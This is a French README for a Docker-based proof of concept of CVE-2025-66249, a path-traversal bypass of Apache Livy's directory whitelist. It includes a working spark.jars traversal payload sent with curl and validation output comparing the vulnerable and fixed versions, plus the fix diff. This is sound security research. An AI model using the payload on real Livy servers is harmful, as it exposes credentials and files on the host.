
Une preuve de concept pour la vulnérabilité de contournement de la liste blanche de traversée de chemin d'Apache Livy
À des fins éducatives et de recherche en sécurité uniquement. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite. → Clause de non-responsabilité complète
| Champ | Détail |
|---|---|
| ID CVE | CVE-2025-66249 |
| Sévérité | Important (CVSS N/A — évaluation NVD en attente au 15/03/2026) |
| Affecté | Apache Livy 0.3.0-incubating jusqu'à 0.8.0-incubating — uniquement lorsque livy.file.local-dir-whitelist est défini sur une valeur non par défaut |
| Corrigé dans | Apache Livy 0.9.0-incubating |
| CWE | CWE-22 : Limitation incorrecte d'un chemin d'accès à un répertoire restreint ('Traversal de chemin') |
| Divulgué | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| Rapporteur | Hiroki Egawa (découvreur) |
Un utilisateur authentifié ayant accès à l'interface REST ou JDBC de Livy peut soumettre une session Spark ou un job batch avec une valeur de configuration de chemin de fichier conçue pour échapper à la liste blanche des répertoires autorisés.
Cause racine — Contournement du traversal de chemin dans le contrôle de la liste blanche (Session.scala)
Lorsque livy.file.local-dir-whitelist est configuré, Livy 0.8.0 valide les chemins soumis en appelant String.startsWith() de Java sur le chemin brut, non normalisé. Ce contrôle peut être contourné en utilisant des séquences de traversal ../ :
/opt/safe-data/../sensitive/secret.txt
La chaîne brute commence par /opt/safe-data, donc le contrôle passe — mais le chemin se résout en /opt/sensitive/secret.txt, qui est totalement en dehors du répertoire autorisé.
Condition de déclenchement : La vulnérabilité ne peut être exploitée que lorsque livy.file.local-dir-whitelist est défini sur une valeur non par défaut (non vide). Si la liste blanche est vide (par défaut), la validation de chemin est totalement ignorée et le problème n'est pas actif.
Impact : Un attaquant qui soumet une session via l'API REST de Livy peut référencer des fichiers locaux arbitraires sur le serveur Livy hôte. Dans un cluster d'analyse partagé, cela se traduit par une exposition potentielle des identifiants, clés, fichiers de configuration, ou toute donnée lisible par l'utilisateur du processus Livy.
Session.scalaVulnérable (v0.8.0) : https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Corrigé (v0.9.0) : https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Les deux versions ont été clonées directement depuis le dépôt GitHub officiel d'Apache Livy en utilisant les commandes exactes suivantes :
# Version vulnérable — clonée dans ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Version corrigée — clonée dans ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| Version | Tag | Commit résolu | Chemin local |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala : Paths.get().normalize() avant le contrôle de liste blanche import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Assurer que l'emplacement est dans la liste blanche avant d'autoriser l'ajout de fichiers locaux.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Le chemin local ${uri.getPath()} ne peut pas être ajouté aux sessions utilisateur.")
}
Impact dans v0.8.0 :
Le contrôle startsWith sur la chaîne brute peut être contourné avec une charge utile de traversal de chemin.
Exemple : si livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → vrai (contourné)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → faux (bloqué)Les diffs ont été produits en clonant les deux tags localement (voir ci-dessus) et en exécutant :
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Attaquant (utilisateur REST/JDBC authentifié)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← le chemin commence par le préfixe autorisé — String.startsWith() passe
← mais se résout EN DEHORS du répertoire via le traversal ../
}
}
│
▼
Livy 0.8.0 — contrôle de liste blanche contourné (startsWith brut, sans normalisation)
│
▼
Spark lit le fichier et le distribue aux exécuteurs
│
▼
L'attaquant récupère le contenu du fichier via la sortie du job / les logs
Toutes les étapes de cette PoC ont été exécutées et validées sur le système suivant :
| Composant | Détail |
|---|---|
| OS hôte | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Noyau | 6.17.0-14-generic x86_64 |
| Architecture | x86_64 |
| Mémoire totale | 15 GiB |
| Moteur Docker | 28.2.2 |
| JDK hôte | OpenJDK 17.0.18 (utilisé uniquement par l'hôte — les conteneurs utilisent eclipse-temurin:11-jdk-focal) |
| Image de base du conteneur | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Version Spark (les deux images) | 3.1.3 avec Hadoop 3.2 |
| Version Livy — image vulnérable | 0.8.0-incubating |
| Version Livy — image corrigée | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → image: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → script unique, exécuté inchangé sur les deux environnements
Séquence complète de bout en bout — suivez les étapes 1 à 4 dans l'ordre :
Étape 1 : Construire l'image vulnérable → démarrer le conteneur → vérifier que Livy est opérationnel
Étape 2 : Exécuter validate.sh → confirmer VULNÉRABLE (attaque HTTP 201) → arrêter le conteneur
Étape 3 : Construire l'image corrigée → démarrer le conteneur → vérifier que Livy est opérationnel
Étape 4 : Exécuter validate.sh → confirmer CORRIGÉ (attaque HTTP 400) → arrêter le conteneur
Remarque : Livy prend environ 15 à 20 secondes pour être prêt après
docker run. Toutes les étapes ci-dessous incluent unsleep 20explicite avant tout appel API.
Fichiers :
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — écoute sur 0.0.0.0:8998, mode local, whitelist = /opt/safe-data1a. Construire l'image :
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
Validation — l'image a été créée :
docker images cve-2025-66249-vulnerable
Sortie attendue :
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. Démarrer le conteneur :
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
Validation — le conteneur est en cours d'exécution :
docker ps --filter name=livy-vulnerable
Sortie attendue :
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. Attendre que Livy démarre, puis vérifier l'API REST :
Livy nécessite ~15–20 secondes pour s'initialiser avant de répondre aux requêtes.
sleep 20
curl -s http://localhost:8998/sessions
Sortie attendue :
{"from":0,"total":0,"sessions":[]}
1d. Valider la structure des répertoires à l'intérieur du conteneur :
Confirmer que le fichier sécurisé autorisé existe :
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Sortie attendue :
This file lives inside the whitelisted directory.
Confirmer que le fichier sensible existe en dehors de la liste blanche :
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Sortie attendue :
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
Le conteneur vulnérable de l'étape 1 doit toujours être en cours d'exécution sur le port 8998.
Ce que teste test/validate.sh :
| # | Attaque | Clé de charge utile | Résultat attendu sur Livy 0.8.0 |
|---|---|---|---|
| 1 | Traversal de chemin via String.startsWith() dans Session.scala | spark.jars avec traversal ../ | HTTP 201 — le traversal contourne la liste blanche |
2a. Exécuter le script :
bash test/validate.sh
Remarque :
validate.shfonctionne comme suit :
- Il interroge
GET /sessionsjusqu'à ce que Livy réponde (jusqu'à 60 secondes), confirmant que le serveur est prêt.- Il envoie une requête
POST /sessionsviacurlavec une charge utileconfconçue pour cibler un fichier en dehors de la liste blanche (/opt/sensitive/secret.txt) en utilisant le traversal../.- Il lit le code de réponse HTTP : 201 signifie que Livy a accepté le chemin sans normalisation (vulnérable) ; 400 signifie que Livy l'a rejeté après normalisation (corrigé).
- Si une session a été créée (HTTP 201), le script la supprime immédiatement via
DELETE /sessions/{id}pour garder le serveur propre.- Après le test, il affiche un résumé et se termine avec le code 1 (vulnérable) ou 0 (corrigé), ce qui le rend adapté à une utilisation dans des pipelines automatisés.
Sortie attendue :
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. Arrêter et supprimer le conteneur vulnérable :
docker stop livy-vulnerable && docker rm livy-vulnerable
Validation — le conteneur est complètement supprimé :
docker ps -a --filter name=livy-vulnerable
Sortie attendue (vide — aucune ligne) :
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Fichiers :
docker/fixed/Dockerfile — image de base identique et Spark 3.1.3, seule la version Livy passe à 0.9.0-incubatingdocker/fixed/livy.conf — identique à docker/vulnerable/livy.conf (même liste blanche, port, mode)Garder Spark, l'image de base et toute la configuration identiques à l'étape 1 isole Livy comme seule variable.
3a. Construire l'image :
docker build -t cve-2025-66249-fixed docker/fixed/
Validation — l'image a été créée :
docker images cve-2025-66249-fixed
Sortie attendue :
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. Démarrer le conteneur :
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
Validation — le conteneur est en cours d'exécution :
docker ps --filter name=livy-fixed
Sortie attendue :
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. Attendre que Livy démarre, puis vérifier l'API REST :
sleep 20
curl -s http://localhost:8998/sessions
Sortie attendue :
{"from":0,"total":0,"sessions":[]}
3d. Valider la structure des répertoires à l'intérieur du conteneur :
Le conteneur corrigé utilise des fixtures identiques à celui vulnérable — cela confirme que la seule variable entre les deux environnements est la version Livy.
Confirmer que le fichier sécurisé autorisé existe :
docker exec livy-fixed cat /opt/safe-data/safe.txt
Sortie attendue :
This file lives inside the whitelisted directory.
Confirmer que le fichier sensible existe en dehors de la liste blanche :
docker exec livy-fixed cat /opt/sensitive/secret.txt
Sortie attendue :
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
Le conteneur corrigé de l'étape 3 doit être en cours d'exécution sur le port 8998. Le script est identique — aucun changement.
Ce qui change entre l'étape 2 et l'étape 4 :
Paths.get().normalize() avant le contrôle de liste blanche4a. Exécuter le script :
bash test/validate.sh
Sortie attendue :
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
Ce que confirme le message d'erreur :
| Attaque | HTTP | Message d'erreur | Cause racine corrigée |
|---|---|---|---|
Traversal de chemin via spark.jars | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Paths.get(...).normalize() ajouté dans Session.scala ; résout ../ avant la comparaison avec la liste blanche |
4b. Arrêter et supprimer le conteneur corrigé :
docker stop livy-fixed && docker rm livy-fixed
Validation — le conteneur est complètement supprimé :
docker ps -a --filter name=livy-fixed
Sortie attendue (vide — aucune ligne) :
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249 est un défaut logique unique et ciblé dans l'application de la liste blanche qui protège le chemin d'accès local système de fichiers de Livy.
La liste blanche (livy.file.local-dir-whitelist) existait dans toutes les versions affectées
et était correctement configurée. L'échec résidait dans la manière dont la liste blanche était évaluée :
Contournement du traversal de chemin (la seule faiblesse) : La comparaison de la liste blanche dans
Session.scala utilisait String.startsWith() de Java sur la chaîne de chemin brute. Cela est
insuffisant pour les comparaisons de chemins système de fichiers car cela ne tient pas compte des
segments de traversal ... Un chemin comme /opt/safe-data/../sensitive/secret.txt
satisfait la vérification de chaîne par rapport à l'entrée de la liste blanche /opt/safe-data, mais se résout
en un emplacement totalement en dehors de celle-ci.
Le correctif dans 0.9.0 est minimal et ciblé : un appel à Paths.get().normalize() est
ajouté avant la comparaison avec la liste blanche. Cela résout tous les segments .. avant que le
contrôle startsWith ne s'exécute, de sorte que la charge utile de traversal est correctement identifiée comme
pointant en dehors du répertoire autorisé.
Point clé pour les défenseurs : La vulnérabilité n'est exploitable que lorsque
livy.file.local-dir-whitelist est défini sur une valeur non vide. Bien que cela signifie que la
configuration par défaut n'est pas directement vulnérable, tout déploiement qui a renforcé
la liste blanche (c'est-à-dire qui a explicitement restreint les répertoires auxquels Livy peut accéder) est
paradoxalement celui qui est exposé — car c'est la présence de la liste blanche qui
active le chemin de code défectueux. La mise à niveau vers Livy 0.9.0-incubating est la seule
correction complète.
Les contributions visant à améliorer cette PoC ou la documentation sont les bienvenues ! Veuillez vous assurer que toute contribution :
Pour contribuer, ouvrez une pull request ou signalez un problème décrivant le changement proposé.
Ce projet est sous licence MIT License.
Ce dépôt est à des fins éducatives et de recherche en sécurité uniquement. La proof of concept démontre les mécanismes de la vulnérabilité pour faciliter la compréhension et les mesures défensives. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite pour tester.
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security string-startswith-bypass
path-normalisation